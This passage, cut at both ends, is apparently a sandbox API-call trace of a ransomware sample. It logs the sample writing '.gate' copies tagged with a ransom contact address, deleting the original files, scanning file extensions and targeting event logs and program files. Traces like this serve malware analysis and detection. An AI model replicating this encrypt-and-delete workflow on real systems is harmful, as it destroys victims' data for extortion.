dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.278] GetLastError () returned 0x0 [0279.278] ReadFile (in: hFile=0x3bc, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0279.507] WriteFile (in: hFile=0x390, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0279.508] ReadFile (in: hFile=0x3bc, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0279.508] WriteFile (in: hFile=0x390, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x12c, lpOverlapped=0x0) returned 1 [0279.508] SetEndOfFile (hFile=0x390) returned 1 [0279.508] CloseHandle (hObject=0x390) returned 1 [0279.510] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.510] SetEndOfFile (hFile=0x3bc) returned 1 [0279.511] CloseHandle (hObject=0x3bc) returned 1 [0279.511] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.511] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0279.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.511] lstrlenW (lpString=".doc") returned 4 [0279.512] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString=".docx") returned 5 [0279.512] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.512] lstrlenW (lpString=".pdf") returned 4 [0279.512] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString=".xls") returned 4 [0279.512] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString=".xlsx") returned 5 [0279.512] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.512] lstrlenW (lpString=".ppt") returned 4 [0279.512] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.512] lstrlenW (lpString=".zip") returned 4 [0279.512] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString=".rar") returned 4 [0279.512] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString=".bz2") returned 4 [0279.512] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString=".7z") returned 3 [0279.512] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.512] lstrlenW (lpString=".dbf") returned 4 [0279.512] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.512] lstrlenW (lpString=".1cd") returned 4 [0279.512] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.512] lstrlenW (lpString=".jpg") returned 4 [0279.512] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.512] lstrlenW (lpString=".doc") returned 4 [0279.512] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString=".docx") returned 5 [0279.513] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.513] lstrlenW (lpString=".pdf") returned 4 [0279.513] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString=".xls") returned 4 [0279.513] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString=".xlsx") returned 5 [0279.513] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.513] lstrlenW (lpString=".ppt") returned 4 [0279.513] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.513] lstrlenW (lpString=".zip") returned 4 [0279.513] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString=".rar") returned 4 [0279.513] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString=".bz2") returned 4 [0279.513] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString=".7z") returned 3 [0279.513] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.513] lstrlenW (lpString=".dbf") returned 4 [0279.513] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.513] lstrlenW (lpString=".1cd") returned 4 [0279.513] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0279.513] lstrlenW (lpString=".jpg") returned 4 [0279.513] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.514] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0279.514] lstrlenW (lpString="System.evtx") returned 11 [0279.514] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0279.526] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1118208) returned 1 [0279.526] CloseHandle (hObject=0x418) returned 1 [0279.526] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0279.526] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\system.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.526] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0279.526] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.527] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.527] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\system.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0279.538] GetLastError () returned 0x0 [0279.538] ReadFile (in: hFile=0x418, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xffff0, lpOverlapped=0x0) returned 1 [0279.601] WriteFile (in: hFile=0x3bc, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xffff0, lpOverlapped=0x0) returned 1 [0279.614] ReadFile (in: hFile=0x418, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11010, lpOverlapped=0x0) returned 1 [0279.622] WriteFile (in: hFile=0x3bc, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11020, lpOverlapped=0x0) returned 1 [0279.830] ReadFile (in: hFile=0x418, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0279.830] WriteFile (in: hFile=0x3bc, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xea, lpOverlapped=0x0) returned 1 [0279.830] SetEndOfFile (hFile=0x3bc) returned 1 [0279.830] CloseHandle (hObject=0x3bc) returned 1 [0279.869] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0279.869] SetEndOfFile (hFile=0x418) returned 1 [0279.870] CloseHandle (hObject=0x418) returned 1 [0279.870] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.870] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0279.871] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.871] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.871] lstrlenW (lpString=".doc") returned 4 [0279.871] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.871] lstrlenW (lpString=".docx") returned 5 [0279.871] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.871] lstrlenW (lpString=".pdf") returned 4 [0279.871] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.871] lstrlenW (lpString=".xls") returned 4 [0279.871] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.871] lstrlenW (lpString=".xlsx") returned 5 [0279.871] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.871] lstrlenW (lpString=".ppt") returned 4 [0279.871] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.871] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.871] lstrlenW (lpString=".zip") returned 4 [0279.871] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.871] lstrlenW (lpString=".rar") returned 4 [0279.871] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.871] lstrlenW (lpString=".bz2") returned 4 [0279.871] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.871] lstrlenW (lpString=".7z") returned 3 [0279.871] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.871] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.871] lstrlenW (lpString=".dbf") returned 4 [0279.872] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.872] lstrlenW (lpString=".1cd") returned 4 [0279.872] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.872] lstrlenW (lpString=".jpg") returned 4 [0279.872] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.872] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.872] lstrlenW (lpString=".doc") returned 4 [0279.872] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString=".docx") returned 5 [0279.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.872] lstrlenW (lpString=".pdf") returned 4 [0279.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString=".xls") returned 4 [0279.872] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString=".xlsx") returned 5 [0279.872] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.872] lstrlenW (lpString=".ppt") returned 4 [0279.872] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.872] lstrlenW (lpString=".zip") returned 4 [0279.872] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString=".rar") returned 4 [0279.872] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString=".bz2") returned 4 [0279.872] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.872] lstrlenW (lpString=".7z") returned 3 [0279.872] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.873] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.873] lstrlenW (lpString=".dbf") returned 4 [0279.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.873] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.873] lstrlenW (lpString=".1cd") returned 4 [0279.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.873] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0279.873] lstrlenW (lpString=".jpg") returned 4 [0279.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.873] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0279.873] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0279.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0279.873] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2776664) returned 1 [0279.873] CloseHandle (hObject=0x418) returned 1 [0279.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0279.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0279.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.905] lstrlenW (lpString=".doc") returned 4 [0279.905] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0279.905] lstrlenW (lpString=".docx") returned 5 [0279.905] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0279.905] lstrlenW (lpString=".pdf") returned 4 [0279.905] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0279.905] lstrlenW (lpString=".xls") returned 4 [0279.905] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0279.905] lstrlenW (lpString=".xlsx") returned 5 [0279.905] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0279.905] lstrlenW (lpString=".ppt") returned 4 [0279.905] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0279.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.905] lstrlenW (lpString=".zip") returned 4 [0279.905] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0279.905] lstrlenW (lpString=".rar") returned 4 [0279.905] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0279.905] lstrlenW (lpString=".bz2") returned 4 [0279.905] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0279.905] lstrlenW (lpString=".7z") returned 3 [0279.905] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0279.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.905] lstrlenW (lpString=".dbf") returned 4 [0279.905] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0279.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.906] lstrlenW (lpString=".1cd") returned 4 [0279.906] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0279.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.906] lstrlenW (lpString=".jpg") returned 4 [0279.906] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0279.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.906] lstrlenW (lpString=".doc") returned 4 [0279.906] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0279.906] lstrlenW (lpString=".docx") returned 5 [0279.906] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0279.906] lstrlenW (lpString=".pdf") returned 4 [0279.906] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0279.906] lstrlenW (lpString=".xls") returned 4 [0279.906] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0279.906] lstrlenW (lpString=".xlsx") returned 5 [0279.906] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0279.906] lstrlenW (lpString=".ppt") returned 4 [0279.917] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0279.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.917] lstrlenW (lpString=".zip") returned 4 [0279.917] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0279.917] lstrlenW (lpString=".rar") returned 4 [0279.917] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0279.917] lstrlenW (lpString=".bz2") returned 4 [0279.917] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0279.917] lstrlenW (lpString=".7z") returned 3 [0279.917] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0279.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.917] lstrlenW (lpString=".dbf") returned 4 [0279.917] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0279.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.917] lstrlenW (lpString=".1cd") returned 4 [0279.917] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0279.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0279.917] lstrlenW (lpString=".jpg") returned 4 [0279.917] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0279.917] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0279.917] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0279.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0280.055] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=9728) returned 1 [0280.055] CloseHandle (hObject=0x4a4) returned 1 [0280.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0280.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.261] lstrlenW (lpString=".doc") returned 4 [0280.261] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.261] lstrlenW (lpString=".docx") returned 5 [0280.261] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.261] lstrlenW (lpString=".pdf") returned 4 [0280.261] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.261] lstrlenW (lpString=".xls") returned 4 [0280.261] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.261] lstrlenW (lpString=".xlsx") returned 5 [0280.261] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.261] lstrlenW (lpString=".ppt") returned 4 [0280.261] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.261] lstrlenW (lpString=".zip") returned 4 [0280.261] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.261] lstrlenW (lpString=".rar") returned 4 [0280.261] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.261] lstrlenW (lpString=".bz2") returned 4 [0280.261] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.261] lstrlenW (lpString=".7z") returned 3 [0280.261] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.261] lstrlenW (lpString=".dbf") returned 4 [0280.261] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.261] lstrlenW (lpString=".1cd") returned 4 [0280.261] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.261] lstrlenW (lpString=".jpg") returned 4 [0280.261] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.262] lstrlenW (lpString=".doc") returned 4 [0280.262] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.262] lstrlenW (lpString=".docx") returned 5 [0280.262] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.262] lstrlenW (lpString=".pdf") returned 4 [0280.262] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.262] lstrlenW (lpString=".xls") returned 4 [0280.262] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.262] lstrlenW (lpString=".xlsx") returned 5 [0280.262] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.262] lstrlenW (lpString=".ppt") returned 4 [0280.262] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.262] lstrlenW (lpString=".zip") returned 4 [0280.262] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.262] lstrlenW (lpString=".rar") returned 4 [0280.262] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.262] lstrlenW (lpString=".bz2") returned 4 [0280.262] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.262] lstrlenW (lpString=".7z") returned 3 [0280.262] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.262] lstrlenW (lpString=".dbf") returned 4 [0280.262] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.262] lstrlenW (lpString=".1cd") returned 4 [0280.262] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0280.262] lstrlenW (lpString=".jpg") returned 4 [0280.262] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.263] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0280.263] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0280.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0280.263] GetFileSizeEx (in: hFile=0x3dc, 